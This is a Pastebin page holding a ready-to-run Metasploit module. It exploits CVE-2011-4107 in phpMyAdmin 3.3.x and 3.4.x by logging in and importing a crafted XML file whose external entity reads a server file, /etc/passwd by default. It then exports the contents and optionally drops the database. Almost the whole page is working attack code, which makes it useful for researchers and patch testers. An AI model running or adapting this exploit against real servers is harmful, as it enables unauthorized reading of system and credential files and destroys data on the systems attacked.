Advertisement
cybercode

POC PhpMyAdmin LFI via XXE Injection

Jan 17th, 2012
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.36 KB | None | 0 0
  1. # Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
  2. # Date: 12-01-2012
  3. # Author: Marco Batista
  4. # Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
  5. # Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
  6. # CVE : CVE-2011-4107
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Auxiliary
  11.  
  12.     include Msf::Exploit::Remote::HttpClient
  13.  
  14.     def initialize
  15.         super(
  16.             'Name'        => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
  17.             'Version'     => '1.0',
  18.             'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
  19.             The attacker must be logged in to MySQL via phpMyAdmin.
  20.             Works on Windows and Linux Versions 3.3.X and 3.4.X},
  21.             'References'  =>
  22.                 [
  23.                     [ 'CVE', '2011-4107' ],
  24.                                         [ 'OSVDB', '76798' ],
  25.                                         [ 'BID', '50497' ],
  26.                                         [ 'URL', 'http://secforce.com/research/'],
  27.                 ],
  28.             'Author'      => [ 'Marco Batista' ],
  29.             'License'     => MSF_LICENSE
  30.             )
  31.  
  32.         register_options(
  33.             [
  34.                 Opt::RPORT(80),
  35.                 OptString.new('FILE', [ true,  "File to read", '/etc/passwd']),
  36.                 OptString.new('USER', [ true,  "Username", 'root']),
  37.                 OptString.new('PASS', [ false,  "Password", 'password']),
  38.                 OptString.new('DB', [ true,  "Database to use/create", 'hddaccess']),
  39.                 OptString.new('TBL', [ true,  "Table to use/create and read the file to", 'files']),
  40.                 OptString.new('APP', [ true,  "Location for phpMyAdmin URL", '/phpmyadmin']),
  41.                 OptString.new('DROP', [ true,  "Drop database after reading file?", 'true']),
  42.             ],self.class)
  43.     end
  44.  
  45.     def loginprocess
  46.         # HTTP GET TO GET SESSION VALUES
  47.         getresponse = send_request_cgi({
  48.             'uri'     => datastore['APP']+'/index.php',
  49.             'method'  => 'GET',
  50.             'version' => '1.1',
  51.             }, 25)
  52.  
  53.         if (getresponse.nil?)
  54.             print_error("no response for #{ip}:#{rport}")
  55.         elsif (getresponse.code == 200)
  56.             print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
  57.         elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
  58.             print_status("Received 302 to #{getresponse.headers['Location']}")
  59.         else
  60.             print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
  61.         end
  62.  
  63.         valuesget = getresponse.headers["Set-Cookie"]
  64.         varsget = valuesget.split(" ")
  65.  
  66.         #GETTING THE VARIABLES NEEDED
  67.         phpMyAdmin = varsget.grep(/phpMyAdmin/).last
  68.         pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
  69.         # END HTTP GET
  70.  
  71.         # LOGIN POST REQUEST TO GET COOKIE VALUE
  72.         postresponse = send_request_cgi({
  73.             'uri'     => datastore['APP']+'/index.php',
  74.             'method'  => 'POST',
  75.             'version' => '1.1',
  76.             'headers' =>{
  77.                     'Content-Type' => 'application/x-www-form-urlencoded',
  78.                     'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
  79.                             },
  80.             'data'    => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
  81.             }, 25)    
  82.  
  83.         if (postresponse["Location"].nil?)
  84.             print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
  85.             tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last          
  86.         else
  87.             tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
  88.         end
  89.          
  90.          
  91.         valuespost = postresponse.headers["Set-Cookie"]
  92.         varspost = valuespost.split(" ")
  93.          
  94.         #GETTING THE VARIABLES NEEDED
  95.         pmaUser = varspost.grep(/pmaUser-1/).last
  96.         pmaPass = varspost.grep(/pmaPass-1/).last
  97.  
  98.         return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
  99.         # END OF LOGIN POST REQUEST
  100.         rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
  101.             print_error(e.message)
  102.         rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
  103.             print_error(e.message)
  104.     end
  105.  
  106.     def readfile(cookie,tokenvalue)
  107.         #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
  108.         getfiles = send_request_cgi({
  109.             'uri'     => datastore['APP']+'/export.php',
  110.             'method'  => 'POST',
  111.             'version' => '1.1',
  112.             'headers' =>{
  113.                     'Cookie' => cookie
  114.                         },
  115.             'data'    => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
  116.             }, 25)
  117.          
  118.         if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
  119.             print_error("Error reading the file... not enough privilege? login error?")        
  120.         else
  121.             print_status("#{getfiles.body}")
  122.         end
  123.     end
  124.  
  125.  
  126.     def dropdatabase(cookie,tokenvalue)
  127.         dropdb = send_request_cgi({
  128.             'uri'     => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
  129.             'method'  => 'GET',
  130.             'version' => '1.1',
  131.             'headers' =>{
  132.                     'Cookie' => cookie
  133.                         },
  134.             }, 25)
  135.  
  136.             print_status("Dropping database: "+datastore['DB'])
  137.     end
  138.  
  139.     def run
  140.         cookie,tokenvalue = loginprocess()
  141.      
  142.         print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
  143.      
  144.         craftedXML =  "------WebKitFormBoundary3XPL01T\n"
  145.         craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
  146.         craftedXML << tokenvalue+"\n"
  147.         craftedXML << "------WebKitFormBoundary3XPL01T\n"
  148.         craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
  149.         craftedXML << "server\n"
  150.         craftedXML << "------WebKitFormBoundary3XPL01T\n"
  151.         craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
  152.         craftedXML << "Content-Type: text/xml\n\n"
  153.         craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
  154.         craftedXML << "<!DOCTYPE ficheiro [  \n"
  155.         craftedXML << "  <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
  156.         craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
  157.         craftedXML << "    <pma:structure_schemas>\n"
  158.         craftedXML << "        <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
  159.         craftedXML << "            <pma:table name=\""+datastore['TBL']+"\">\n"
  160.         craftedXML << "                CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
  161.         craftedXML << "            </pma:table>\n"
  162.         craftedXML << "        </pma:database>\n"
  163.         craftedXML << "    </pma:structure_schemas>\n"
  164.         craftedXML << "    <database name=\""+datastore['DB']+"\">\n"
  165.         craftedXML << "        <table name=\""+datastore['TBL']+"\">\n"
  166.         craftedXML << "            <column name=\"file\">&conteudo;</column>\n"
  167.         craftedXML << "        </table>\n"
  168.         craftedXML << "    </database>\n"
  169.         craftedXML << "</pma_xml_export>\n\n"
  170.         craftedXML << "------WebKitFormBoundary3XPL01T\n"
  171.         craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
  172.         craftedXML << "xml\n"
  173.         craftedXML << "------WebKitFormBoundary3XPL01T\n"
  174.         craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
  175.         craftedXML << ",\n\n"
  176.         craftedXML << "------WebKitFormBoundary3XPL01T--"
  177.          
  178.      
  179.         print_status("Grabbing that #{datastore['FILE']} you want...")
  180.         res = send_request_cgi({
  181.             'uri'     => datastore['APP']+'/import.php',
  182.             'method'  => 'POST',
  183.             'version' => '1.1',
  184.             'headers' =>{
  185.                     'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
  186.                     'Cookie' => cookie
  187.                         },
  188.             'data'    => craftedXML
  189.         }, 25)
  190.  
  191.         readfile(cookie,tokenvalue)
  192.  
  193.         if (datastore['DROP'] == "true")
  194.             dropdatabase(cookie,tokenvalue)
  195.         else
  196.             print_status("Database was not dropped: "+datastore['DB'])        
  197.         end
  198.  
  199.     end
  200. end
  201.  
  202.  
  203. # 1337day.com [2012-01-14]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement